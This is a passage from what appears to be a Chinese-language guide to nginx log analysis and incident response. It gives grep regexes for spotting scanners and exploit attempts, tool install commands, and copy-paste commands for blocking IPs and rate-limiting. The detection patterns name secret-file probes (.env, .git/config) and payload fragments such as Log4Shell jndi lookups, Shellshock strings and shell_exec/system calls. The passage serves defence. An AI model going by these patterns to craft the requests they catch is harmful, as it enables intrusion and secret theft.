SCANNER_REGEX="(\.env($|\.)|wp-(admin|login|content|includes)|xmlrpc\.php|phpinfo|\.git/(config|HEAD|objects)|phpmyadmin|adminer|/admin/|/manager/html|/console/|/actuator|/swagger|/api-docs|\.bak$|\.sql($|\.gz)|\.tar\.gz$|\.zip$)"
grep -iE "$SCANNER_REGEX" /var/log/nginx/access.log
# ===================== 漏洞利用检测正则 =====================
EXPLOIT_REGEX="(\$\{j|%24%7Bj|%24%7B%24%7B)(n|%6e)di|classLoader|invokefunction|call_user_func|eval\(|system\(|exec\(|passthru\(|shell_exec|phpinfo\(\)|base64_decode\(|\(\)\s*\{\s*:;\s*\}"
grep -iE "$EXPLOIT_REGEX" /var/log/nginx/access.log
# ===================== 组合使用——一次性检测所有恶意请求 =====================
ALL_MALICIOUS="($SQL_REGEX|$XSS_REGEX|$TRAVERSAL_REGEX|$SCANNER_REGEX|$EXPLOIT_REGEX)"
# 统计恶意请求来源 IP
grep -iE "$ALL_MALICIOUS" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
D. 常用工具安装速查
# ===================== Ubuntu 24.04 一键安装所有分析工具 =====================
# 基础工具(系统自带,确认安装)
sudo apt install -y gawk coreutils grep
# GoAccess 日志分析工具
sudo apt install -y goaccess
# jq JSON 处理工具
sudo apt install -y jq
# GeoIP 地理位置查询
sudo apt install -y geoip-bin geoip-database mmdb-bin
# fail2ban 自动封禁
sudo apt install -y fail2ban
# nftables 防火墙(Ubuntu 24.04 默认已安装)
sudo apt install -y nftables
# Promtail 日志收集(需要手动下载)
cd /tmp && curl -LO https://github.com/grafana/loki/releases/download/v3.4.2/promtail-linux-amd64.zip
unzip promtail-linux-amd64.zip && sudo mv promtail-linux-amd64 /usr/local/bin/promtail
# pv(管道流量查看,分析大文件时看进度用)
sudo apt install -y pv
# 使用示例:分析大日志文件时显示进度
pv /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
E. 一句话应急处理
遇到攻击时的应急速查表,复制粘贴即可:
# 1. 快速查看当前谁在攻击你
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -10
# 2. 封禁单个 IP(iptables,兼容性好)
sudo iptables -I INPUT -s 恶意IP -j DROP
# 3. 封禁 IP 段(/24 子网)
sudo iptables -I INPUT -s 恶意IP段/24 -j DROP
# 4. 封禁单个 IP(nftables,Ubuntu 24.04 推荐)
sudo nft add rule inet filter input ip saddr 恶意IP drop
# 5. 查看当前连接数
ss -s | head -3
# 6. 查看某个 IP 的连接数
ss -tn | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -10
# 7. 确认封禁是否生效
ss -tn | grep 恶意IP | wc -l
# 8. Nginx 紧急限流(修改配置后 reload)
# 在 http 块加:limit_req_zone $binary_remote_addr zone=emergency:10m rate=5r/s;
# 在 location 加:limit_req zone=emergency burst=10 nodelay;
sudo nginx -t && sudo nginx -s reload
# 9. 查看 Nginx 错误日志(看有没有后端被打挂)
tail -50 /var/log/nginx/error.log
# 10. 查看系统负载
uptime && free -h && df -h /var/log